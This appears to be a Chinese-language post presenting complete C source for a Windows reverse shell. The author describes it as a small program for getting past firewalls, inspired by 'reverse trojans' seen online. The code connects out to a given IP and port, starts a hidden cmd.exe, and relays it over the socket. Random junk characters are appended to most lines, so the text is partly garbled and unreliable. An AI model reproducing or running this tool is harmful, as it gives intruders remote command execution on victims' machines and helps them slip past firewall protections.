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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 +F 6KGK[  
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/* ============================== (7}v }3/  
Rebound port in Windows NT Q-}oe Q  
By wind,2006/7 3Du&KZ  
===============================*/ u!nt0hS  
#include I_#)>%H  
#include nH% /  
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#pragma comment(lib,"wsock32.lib") + 7E6U*  
/D8cJgH-  
void OutputShell(); +zs;>'Sf  
SOCKET sClient; <g,k[  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; O(/K@e  
1WcT>_$  
void main(int argc,char **argv) 5jy>)WqK  
{ QsDa b4  
WSADATA stWsaData; I|9e4EX{y  
int nRet; l},px  
SOCKADDR_IN stSaiClient,stSaiServer; sj. eJX"z  
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if(argc != 3) 0,m*W?^31  
{ yQ+#Tlji  
printf("Useage:\n\rRebound DestIP DestPort\n"); 5 qG7LO.  
return; X/i8$yqv  
} H7#RL1qM&  
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WSAStartup(MAKEWORD(2,2),&stWsaData); YQ37P?u@  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); j@kBCzX  
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stSaiClient.sin_family = AF_INET; 9S6vU7W  
stSaiClient.sin_port = htons(0); Fw"~f5O  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); o,Ha-z]f  
q.<q(r  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) |EU}&k2  
{ 0<v~J9i  
printf("Bind Socket Failed!\n"); )zUV6U7v  
return; fb`VYD9[^  
} qI;k2sQR  
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stSaiServer.sin_family = AF_INET; r7ywK9UL  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); tk}qvW.Ii  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ej%C<0/%n  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) -zc9=n<5  
{ _7$j>xX  
printf("Connect Error!"); 0yAvAx  
return; j*QY_Ny*  
} J4lE7aFDA~  
OutputShell(); [(btpWxb^  
} ~`-9i{L  
#0xvxg%{  
void OutputShell() %$]u6GKabi  
{ h.2!d0j]  
char szBuff[1024]; \=yg@K?"AJ  
SECURITY_ATTRIBUTES stSecurityAttributes; L1rov  
OSVERSIONINFO stOsversionInfo; b>2u>4  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; V!},a@>p  
STARTUPINFO stStartupInfo; 'd6hQ4Vw4  
char *szShell; g4Hq<W"  
PROCESS_INFORMATION stProcessInformation; =$BgIt  
unsigned long lBytesRead; tvb hWYe  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); X:62 )^~'  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); tanuP@O  
stSecurityAttributes.lpSecurityDescriptor = 0; )2^OBfl7  
stSecurityAttributes.bInheritHandle = TRUE; 9sE>K)  
7* `ldao~  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); I}k!i+Yl  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); &|{K*pNa  
 6f1;4Jfp  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); fG,qax`:c  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Vs07d,@w>  
stStartupInfo.wShowWindow = SW_HIDE; 8~2A"<{ub  
stStartupInfo.hStdInput = hReadPipe; Y =` 3L  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Z6h.gaQ7 H  
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GetVersionEx(&stOsversionInfo); P"i qP|  
y/i"o-}}~|  
switch(stOsversionInfo.dwPlatformId) CSsb~/Oxu  
{ X^xu$d6   
case 1: 4El{2cfA  
szShell = "command.com"; b<5:7C9z  
break; qHHWe<}OT  
default: #4c uNX5m%  
szShell = "cmd.exe"; 8u+ (+25  
break; +pe_s&  
} )YnB6@=nyk  
~Kb(`Px@  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); =G=.THRUk  
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send(sClient,szMsg,77,0); :'!?dszS  
while(1) 0q`'65 lx  
{ 2RE }l=h5  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); BAKfs/N  
if(lBytesRead) qx!IlO  
{  WHpbQQX  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); #K)HuT  
send(sClient,szBuff,lBytesRead,0); +[F9Q,bH@b  
} Hpsg[d)!  
else RNt3az  
{ "+XO[WGc  
lBytesRead=recv(sClient,szBuff,1024,0); jgGn"}  
if(lBytesRead<=0) break; 2G'G45Q  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); OdR  
} MPGQ4vi&  
} 7rr5$,Mv  
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return; `b%/.%]$  
}
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